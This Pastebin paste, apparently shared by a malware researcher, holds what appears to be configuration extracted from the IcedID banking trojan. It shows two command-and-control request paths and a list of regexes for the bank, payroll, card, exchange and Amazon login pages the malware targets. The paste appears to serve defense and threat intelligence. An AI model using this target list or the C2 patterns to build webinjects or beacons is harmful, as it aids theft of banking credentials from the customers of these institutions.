Advertisement
James_inthe_box

icedid

Jun 27th, 2018
1,263
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.18 KB | None | 0 0
  1. /forum/posting.php?a=5&b=5210E60E2487488DD6&d=0&e=63&o=0
  2. /forum/posting.php?a=1&b=5210E60E2487488DD6&d=0&e=63&f=0&g=0&h=0&r=0&i=16293&j=24
  3.  
  4.  
  5. ^(b2b\.verizonwireless.com\/sms\/|sso\.verizonenterprise\.com\/amserver\/sso\/login.go|mblogin\.verizonwireless.com\/amserver\/loginflow\/main|vesidm\.verizonwireless\.com\/idm\/secure\/profile\/main)
  6. ^blockchain.info(?!.*\.(js|css|jpg|png|gif)$)
  7. ^businessaccess\.citibank\.citigroup\.com\/cbusol\/(.*)\.ico$
  8. ^businessaccess\.citibank\.citigroup\.com\/cbusol\/style\/images\/(.*)\.(png|gif|jpg|PNG|GIF|JPG)$
  9. ^businessbankingcenter\.synovus\.com\/bbc\/u\/(A|a)ccess\/style\/images\/(.*)\.(png|gif|jpg)$
  10. ^businessonline\.huntington\.com\/(BOLHome|bolhome)\/(BusinessOnlineLogin|businessonlinelogin|TokenChallenge|tokenchallenge)\.aspx$
  11. ^cashproonline\.bankofamerica\.com\/(AuthenticationFrameworkWeb|authenticationframeworkweb)\/.*\/(.*)\.ico$
  12. ^cashproonline\.bankofamerica\.com\/(AuthenticationFrameworkWeb|authenticationframeworkweb)\/.*\/style\/font\/(.*)\.(eot|ttf|woff)$
  13. ^cashproonline\.bankofamerica\.com\/(AuthenticationFrameworkWeb|authenticationframeworkweb)\/.*\/style\/images\/(.*)\.(png|gif|jpg|PNG|GIF|JPG)$
  14. ^express\.53\.com\/portal\/auth\/login\/(.*)\.ico$
  15. ^express\.53\.com\/portal\/auth\/login\/style\/images\/(.*)\.(png|gif|jpg|PNG|GIF|JPG)$
  16. ^onepass\.regions\.com\/\w{2,7}_server\/.*\/fonts\/(.*)\.(eot|svg|ttf|woff)$
  17. ^onepass\.regions\.com\/\w{2,7}_server\/.*\/(.*)\.ico$
  18. ^onepass\.regions\.com\/\w{2,7}_server\/.*\/images\/(.*)\.(png|gif|jpg|PNG|GIF|JPG)$
  19. ^online\.citi\.com\/.*\/(flow\.action|detail\.do)
  20. ^online\.citi\.com\/.*\/portal\/(Home|home)\.do
  21. ^online\.citi\.com\/.*\/style\/css\/main\.css$
  22. ^online\.citi\.com\/.*\/style\/fonts\/Interstate-Light\.otf$
  23. ^online\.citi\.com\/.*\/style\/images\/(.*?)\.(png|gif|jpg)$
  24. ^portal\.discover\.com\/customersvcs\/universalLogin\/signin$
  25. ^portal\.discover\.com\/customersvcs\/universalLogin\/style\/css\/main\.css$
  26. ^portal\.discover\.com\/customersvcs\/universalLogin\/style\/images\/(.*?)\.(png|gif)$
  27. ^runpayroll\.adp\.com\/.*\/(registeredlogin|passwordWT)\.aspx
  28. ^secure\.bankofamerica\.com\/myaccounts\/.*?favicon.ico$
  29. ^secure\.bankofamerica\.com\/myaccounts\/(signin|brain)\/(sign(I|i)n|redirect)\.go\?.*(return(S|s)iteIndicator=|target=accountsoverview)
  30. ^secure\.bankofamerica\.com\/myaccounts\/.*\/style\/mainBankOfAmerica.css$
  31. ^secure\.bankofamerica\.com\/myaccounts\/.*\/style\/ringBankOfAmerica.gif$
  32. ^tdetreasury\.tdbank\.com\/.*\/logon\/(.*)\.ico$
  33. ^tdetreasury\.tdbank\.com\/.*\/logon\/style\/css\/main\.css$
  34. ^tdetreasury\.tdbank\.com\/.*\/logon\/style\/images\/(.*)\.(png|gif|jpg|PNG|GIF|JPG)$
  35. ^[^=]*\/wcmfd\/wcmpw\/(CustomerLogin|customerlogin)$
  36. ^webinfoplus\.mandtbank\.com\/(CASHplus|cashplus)\/style\/images\/(.*)\.(png|gif|jpg)$
  37. ^webinfoplus\.mandtbank\.com\/cashplus\/style\/css\/(.*?)\.css$
  38. ^wellsoffice\.wellsfargo\.com\/portal\/signon\/(.*)\.ico$
  39. ^wellsoffice\.wellsfargo\.com\/portal\/signon\/style\/images\/(.*)\.(png|gif|jpg|PNG|GIF|JPG)$
  40. ^Windows Root Certificate Update - November 200
  41. ^www[0-9]\.secure\.hsbcnet\.com\/uims\/portal\/(.*)\.ico$
  42. ^www[0-9]\.secure\.hsbcnet\.com\/uims\/portal\/style\/images\/(.*)\.(png|gif|jpg|PNG|GIF|JPG)$
  43. ^www8\.comerica\.com($|/$)
  44. ^www\.amazon\.[a-z\.]{2,7}\/(.*?)favicon.ico
  45. ^www\.amazon\.[a-z\.]{2,7}\/.*\/signin
  46. ^www\.amazon\.[a-z\.]{2,7}\/.*\/style\/css\/main\.css
  47. ^www\.amazon\.[a-z\.]{2,7}\/.*\/style\/images\/(.*)\.(png|gif)$
  48. ^www.binance.com(?!.*\.(js|css|jpg|png|gif)$)
  49. ^www\.cashanalyzer\.com\/.*\/css\/main\.css
  50. ^www\.cashanalyzer\.com\/.*\.(dll|aspx)$
  51. ^www\.cashanalyzer\.com\/.*\/(.*)\.ico$
  52. ^www\.cashanalyzer\.com\/.*\/images\/(.*)\.(png|gif|jpg|PNG|GIF|JPG)$
  53. ^www\.frostcashmanager\.com\/(CASHplus|cashplus)\/style\/images\/(.*)\.(png|gif|jpg)$
  54. ^(www\.|global\.)?americanexpress\.com\/dashboard
  55. ^(www\.|global\.)?americanexpress\.com\/(.*?)favicon.ico
  56. ^(www\.|global\.)?americanexpress\.com\/(.*\/)?style\/css\/(.*?)\.css$
  57. ^(www\.|global\.)?americanexpress\.com\/(.*\/)?style\/fonts\/(.*?)\.(ttf|woff|otf)$
  58. ^(www\.|global\.)?americanexpress\.com\/(.*\/)?style\/images\/(.*?)\.(png|gif|jpg|svg)$
  59. ^www\.hwtreasurysolution\.com\/(COLB|colb)\/style\/images\/(.*)\.(png|gif|jpg)$
  60. ^www\.onlinebanking\.pnc\.com(\/alservlet\/LogoutServlet|\/|)$
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement